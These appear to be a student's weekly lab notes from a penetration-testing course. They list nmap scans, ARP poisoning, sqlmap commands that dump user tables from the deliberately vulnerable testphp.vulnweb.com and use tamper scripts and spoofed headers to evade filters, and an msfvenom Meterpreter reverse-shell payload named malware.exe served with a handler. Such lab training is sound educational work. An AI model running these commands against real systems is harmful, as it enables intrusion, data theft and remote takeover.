**Week 1:**

Install vmware,kali and window 10  **Firewall setting:**  
sudo apt install ufw  
sudo ufw enable  
sudo ufw default allow   
sudo ufw default deny incoming  
sudo ufw allow port/protocol  
sudo ufw allow 4444/tcp

**ssh setting:**  
sudo systemctl start ssh  
sudo systemctl enable ssh  
sudo systemctl status ssh

**Week 2:**

**Nmap:**nmap -sP 192.168.1.0/24  
nmap -sS -PS --exclude 192.168.1.154 192.168.1.1/24   
nmap -sV 192.168.1.154   
nmap -sV --version-intensity 2 192.168.1.152   
nmap -sS -PS --data-length 300 192.168.1.154   
nmap -p445 192.168.1.154   
nmap -p 445,80,443,139 192.168.1.154   
nmap -p[1-1024] 192.168.1.154

**Reconnaissance Tools:**Zenmap exercise  
nslookup <domain name>OpenSource Intelligence Framework (https://osintframework.com/ )  
Sign Up For a Free Account Under Shodan.io  
Google Hacking Database:  
 filetype:pdf site:attack.mitre.org APT

**Week 3:**

Setting up OpenVAS and Nessus on Kali Linux

**Week 4:**

**ARP poisoning:**  
Target 1: default gateway  
Target 2: ip v4  
WireShark  
<http://testphp.vulnweb.com/login.php>  
**SQL MAP:**sqlmap -u "http://testphp.vulnweb.com/" --crawl=3 --batch --level=1  
sqlmap -u <http://testphp.vulnweb.com/artists.php?artist=1>  
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users –dump  
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --random-agent –dbs  
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart –tables  
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users –dump  
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users –dump  
  
**Task 7: Exploiting Vulnerabilities Fetch Database Details**

sqlmap -u <http://testphp.vulnweb.com/listproducts.php?cat=1> –current –user --current-db   
--hostname --batch  
**Extract User Data**   
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1-D acuart-T users—dump  
**List Database Tables**  
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1-D acuart—tables  
**DumpAll Data**   
sqlmap-u <http://testphp.vulnweb.com/listproducts.php?cat=1> -D acuart -T users –dump -all   
**Task 8: Bypassing Security Using Headers Use custom headers to bypass security filters**.  
sqlmap -u <http://testphp.vulnweb.com/> --crawl 3 --headers="Referer:abc.com" -v 4 --batch   
**Use mobile user-agent for evasion.**   
sqlmap -u <http://testphp.vulnweb.com/> --crawl 3 –mobile -v 4   
**Task 9: Tampering Payloads to Evade Firewalls Modify payloads to bypass security mechanisms. List Available Tamper Scripts**   
sqlmap --list-tampers   
**Use a Specific Tamper Script**   
sqlmap -u <http://testphp.vulnweb.com/> --crawl 3 --tamper=base64encode -v 3 --batch   
**Test Forms for SQL Injection**   
sqlmap -u <http://testphp.vulnweb.com/login.php> --forms  
  
**Week 5:**

ip a | grep inet  
Open another terminal (Kali):   
sudo msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.100.205 LPORT=5555 -f exe -o /var/www/html/malware.exe  
<http://192.168.100.205/malware.exe>  
sudo msfconsole   
use exploit/multi/handler   
set payload windows/meterpreter/reverse\_tcp   
set LHOST192.168.100.24   
set LPORT 5555   
exploit  
  
Sysinfo  
Ps  
shell  
Screenshot  
  
**Week 6:  
  
Cross Site Scripting:**DVWABeef **Week 7:  
BurpSuite:**burpsuite

**Week 8:**

**SocialEngineeringAttack:**settoolkit